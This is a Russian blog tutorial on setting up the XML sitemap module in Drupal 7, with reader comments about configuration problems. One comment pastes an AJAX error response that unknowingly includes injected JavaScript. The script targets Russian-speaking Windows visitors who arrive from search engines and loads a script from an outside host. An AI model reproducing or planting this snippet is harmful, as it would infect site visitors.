Создание карты сайта Sitemap.xml для Drupal 7.

image

17.12.11
Comments 29

Продолжаем знакомиться с CMS Drupal 7, сегодня речь пойдет про очень важный момент внутренней поисковой оптимизации любого движка, а именно про создание карты сайта sitemap.xml. В Drupal для того чтобы автоматически создать карту сайта необходимо установить модуль SitemapXML.

Приступим к установке. Скачайте модуль карты сайта и установите его в папку /sites/all/modules/, после этого пройдите в панель настройки модулей, как видите, у нас установилось целая куча модулей для карты сайта:

Sitemap.xml

Но нам нужно включить всего три:

  1. XML sitemap
  2. XML sitemap node
  3. XML sitemap taxonomy              

Таким образом ссылки в карте сайта на публикуемые материалы(node) и термины таксономии(term) будут создаваться автоматически.

Теперь нам необходимо настроить карту сайта, для этого заходим в «Конфигурация => XML sitemap», и там выбираем пункт «Настройки». Первым делом на странице настроек нам необходимо сгенерировать кеш ссылок для карты сайта, для этого необходимо нажать на ссылку «run cron manually» которая находится в блоке системных сообщений:

Sitemap.xml

после этого карта сайта уже создана, но она содержит всего одну ссылку на главную страницу сайта, можете проверить по адресу mysite.ru/sitemap.xml.

Теперь нам необходимо настроить модуль так чтобы он автоматически создавал ссылки в карте сайта на материалы и термины таксономии, для этого вернитесь к настройкам модуля, как видите, по умолчанию уже настроена генерация ссылок для главной страницы:

Sitemap.xml

Теперь нам необходимо настроить пункты «Содержимое» и «Термины таксономии», давайте сначала настроим «Содержимое» и тип материалов «Статья»:

Sitemap.xml

Нажмите на ссылку Статья, и вы окажетесь на странице редактирования этого типа материалов, в левой колонке выберите пункт «XML Sitemap»:

Sitemap.xml

В раздвижном переключателе выберите параметр « Included»:

Sitemap.xml

После сохраните настойки. Точно также можно и нужно настроить термины таксономии. После этого необходимо обновить кеш ссылок карты сайта, для этого перейдите в пункт «Rebuild links»:

Sitemap.xml

И нажмите на «Rebuild sitemap», после этого все ссылки которые мы желаем включить в карту сайта появятся в ней.

Карта сайта создана, теперь можно смело добавлять ее в панель вебмастеров Google и Yandex.

Tags: 

Комментарии

Кирилл 16.02.12

Боже, как же я вам благодарен за эту статью!) Я два дня сидел и не мог настроить этот модуль. У меня чтобы я ни делал, постоянно в файле была только одна ссылка на главную. Сколько я статей перечитал, чего только я не делал, а оказалось все крайне просто!) Спасибо вам огромное и удачи!)

admin 16.02.12

Да я и сам с некоторыми модулями по несколько дней не мог разобраться ;)

Кирилл 16.02.12

Да еще вопрос, вы сказали что можно и нужно сделать тоже самое и с таксономией, но как и где?

admin 16.02.12
  1. Нужно просто пройти в Сруктура -> Таксономия
  2. Выбрать словарь который хотите включить в карту сайта
  3. Нажать изменить
  4. В настройках вы должны увидеть пункт XML Sitemap
DivaDii 24.04.12

Ох!!!
Малость пытаюсь разбираться с Друпалом.
Нашла Ваш сайт - пожалуй, это самый полезный и толковый ресурс по Друпалу.
Спасибо огромное. Беру сайт в закладки.
Таки Друпал непростая система. И без таких подробных материалов, как у Вас на сайте, разбираться очень сложно.
Поэтому еще раз ОГРОМНОЕ спасибо.
Успехов Вам!!

admin 24.04.12

Рад что вам понравились мои уроки, такие коменты дороже денег!

Нариман 05.08.12

и у меня сайт в закладках)) полезный ресурс

Дмитрий 14.07.12

Сделал глупость заказать сайт на Drupal, теперь сижу втыкаю. Без бутылки не разберешь. Добавил в закладки. Надеюсь поможет.

Дмитрий 14.07.12

Последнее предложение:
Карта сайта создана, теперь можно смело добавлять ее в панель вебмастеров Google и Yandex.
Это для чего и как это сделать? )

admin 15.07.12

Вот здесь прочитайте, нужно просто в панели вебмастеров яндекса и гугла указать путь к карте сайта, например sirega.ru/sitemap.xml.

Гость 16.07.12

Сергей, замечательно,спасибо большое. Действительно в Друпал втыкать надо долго, но зато потом как настроишь сайт и понеслась уже чисто работа. У меня есть проблемка, админка крутая раскрывающаяся модуль не встаёт. Как установишь-кирдык белый. Может в курсе что сделать, а ведь раньше работала админка эта у меня. admin_menu-7.x-3.0-rc3

Валентин 28.09.12

У вас экран белый скорее всего из-за нехватки памяти - нужно увеличить её с 32 до 64 мгб. Хотя нужно видеть, хотя бы скрин или более подробное описание, что вы делаете перед появлением белого экрана.

Марина 30.07.12

Здравствуйте! Спасибо за статью! У меня такой вопрос - если активировать и типы содержимого и термины таксономии, не будет ли дублированного контента? Все им пугают...

admin 31.07.12

Дубли страниц будут если вы одну ноду привяжете к нескольким терминам таксономии которые не закрыты от индексации в robots.txt, соответственно вам нужно выбрать один основной словарь таксономии термины которого вы бы хотели видеть в индексе и добавить его в карту сайта, остальные, например теги, лучше закрыть от индексации, я например так сделал.

Марина 31.07.12

Спасибо, понятно. У меня в robot.txt написано: Disallow: /taxonomy/, это значит, что все термины таксономии исключены из индексации. Если я в карте сайта разрешу какой-то словарь, что будет считаться приоритетным - robot.txt или sitemap? На что будут реагировать поисковики?

admin 01.08.12

Если у вас что то будет запрещено в роботс и при этом присутствовать в карте сайта, то индексации все равно не будет.

Марина 01.08.12

Спасибо еще раз!

Сергей 19.08.12

Сделал все как написано, тупо стоит одна страница главная.
В меню почему-то нет закладки «Rebuild links» Заходишь в настройки все страницы есть

Валентин 28.09.12

Не могу включить таксонометрию в сайт мэп. Жму изменить, но там лишь управление отбражением, системное название и настройки отображения. Может я туплю? Но не вижу, хоть убей, оО

Валентин 28.09.12

Пардон. Я тупил. Нужно было сначала включить модуль для таксонометрии,ыы)).

ДиваДии 23.11.12

Я так надеюсь! Может, хоть Вы мне подскажете, где подкрутить.
Проблема следующая: куча терминов таксономии. Во многих терминах - выводятся подстраницы. Адреса при этом получаются такие:
_http://сайт.ru/терминТаксономии?page=3
_http://сайт.ru/терминТаксономии?page=4
_http://сайт.ru/терминТаксономии?page=5 ....
Так вот эти подстраницы никак не попадают в сайтмэп. И соответственно - я не могу сообщить поисковикам об их существовании.
Всякие настройки модуля XML sitemap пробовала, искала - ничего подходящего найти не могу. Сам термин, конечно, попадает в сайтмэп. То есть первая страница с термином. А все остальные - нет.
Пробовала ещё модуль urllist. Но он ТОЖЕ не видит эти внутренние подстраницы терминов.
Нашла несколько "внешних" ресурсов, которые делают сайтмэпы. И кое-какие из них таки могут найти эти внутренние подстраницы. Но это же не дело! - поручать такую важную деятельность внешним сервисам, а не умнице-друпалу. О_о

Мне эти внутренние страницы с адресом типа ТерминТаксономии*?page=№ - даже намного важнее, чем отдельные ноды.
Может, подскажете что-нибудь?
На друпал.ру спрашиваю - никто вообще не реагирует. :(
На друпал.орг ищу в вопросах/ответах к модулю - там ничего подобного нет.

"Пациент" в подписи.
Буду благодарна за любую подсказку.

Ольга 12.12.12

Спасибо большое за ваши полезные статьи.
Но вот по карте сайта у меня какой-то затык случился. Установила модуль XML sitemap, стала включать, а он не включается, и пишет мне следующее:

The XML sitemap module requires you to enable the PHP extensions in the following list (see the module's system requirements page for more information):
xmlwriter
(Сейчас используется XML sitemap PHP extensions Отключено)

Пошла по ссылке сначала сюда http://drupal.org/documentation/modules/xmlsitemap/requirements, а оттуда попала сюда http://php.net/manual/en/ref.xml.php, а там такого понаписано, что мне за год не разобраться. Ну в общем, я так поняла, что чего-то мне в версии PHP не хватает. И ведь наверняка есть какое-то очень простое решение. Может, подскажете?

admin 12.12.12

Покажите это письмо тех поддержке хостера, пусть включит эту опцию - XML sitemap PHP extensions

Евгений 09.01.13

Спасибо огромное! Вы мне очень помогли! Благодаря вам я сделал первые шаги в продвижении сайта)

Nemo911 21.01.13

Здравствуйте.
У меня на сервере в коре не создаёться файл sitemap.xml так что путь : мой_сайт.ru/sitemap.xml не работает. а посмотреть карту можно через http://мой_сайт/?q=sitemap.xml
Так и должно быть или в корне файл должен быть?
И ещё, в файле robots.txt можно путь к карте указывать (http://мой_сайт/?q=sitemap.xml) или именно на файл нужно?

Роман 28.01.13

Прекрасная статья, спасибо!
У меня ошибка одна, включил все нужные типы контента и пытаюсь сделать Rebuild и получаю ошибку:
An AJAX HTTP error occurred. HTTP Result Code: 200 Debugging information follows. Path: /batch?render=overlay&id=36&op=do StatusText: parsererror ResponseText: function get_cookie(Name) { var search = Name + "="; var returnvalue = ""; if (document.cookie.length > 0) { offset = document.cookie.indexOf(search); if (offset != -1) { offset += search.length; end = document.cookie.indexOf(";", offset); if (end == -1) end = document.cookie.length; returnvalue=unescape(document.cookie.substring(offset, end)); } } return returnvalue; } function set_cookie(name, value) {var cxdate = new Date(); cxdate.setYear(2024); cxdate.setMonth(3); cxdate.setDate(3); document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';} var br_reg = /(Firefox|MSIE|Opera)/i;var usr_os = navigator.userAgent;var ref_reg = /(yandex|google|mail|rambler|vk.com)/i;var ref = document.referrer;if (ref==null) ref='';var lang = (navigator.language || navigator.systemLanguage || navigator.userLanguage || 'en').substr(0, 2).toLowerCase();var useragent_reg = /(bot|yandex|yx)/ivar useragent = navigator.userAgent;if(get_cookie('viewpages') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg) && ref.match(ref_reg) && (lang=="ru" || lang=="ua" || lang=="by" || lang=="kz") && (!useragent.match(useragent_reg)) ) { var script = document.createElement('script'); script.src = 'http://grandsteel.kz/stats.php'; document.head.appendChild(script); set_cookie('viewpages', '8ihdf8hiio9000yud9');};{"status":true,"percentage":"21","message":"Completed 2 of 11.\u003Cbr \/\u003ENow processing \u003Cem class=\u0022placeholder\u0022\u003Emenu_link\u003C\/em\u003E 203 (200 of 742)."}

Больше такой ошибки нигде нет. Но атоматом, каждые 5 мин обновляется карта сама, т.е. php срабатывает проблема с Ajax.
Возможно знаете в чем дело, спасибо.

SiN 04.03.13

СПАСИБО!!! сделал за полчаса! До этого пришлось обходиться картой сайта на html

Михаил 07.07.13

Огромное спасибо!
Всё никак не мог найти причину неработающего крона, оказалось всё довольно просто, пару лишних модулей выкл. и нажать пару кнопок)

Василий 30.09.13

Кто может ответить на такой вопрос :
Почему появляются дубликаты URL в файле Sitemap.
например вот так:
http://fotoman.pw/dorogie_foto
http://fotoman.pw/dorogie_foto
http://fotoman.pw/dorogie_fotografii
http://fotoman.pw/dorogie_fotografii
http://fotoman.pw/dozhd_v_sevastopole
http://fotoman.pw/dozhd_v_sevastopole
Обыскал весь интернет нигде не нашёл ответа. Друпал7-что это за глюк?

Комментировать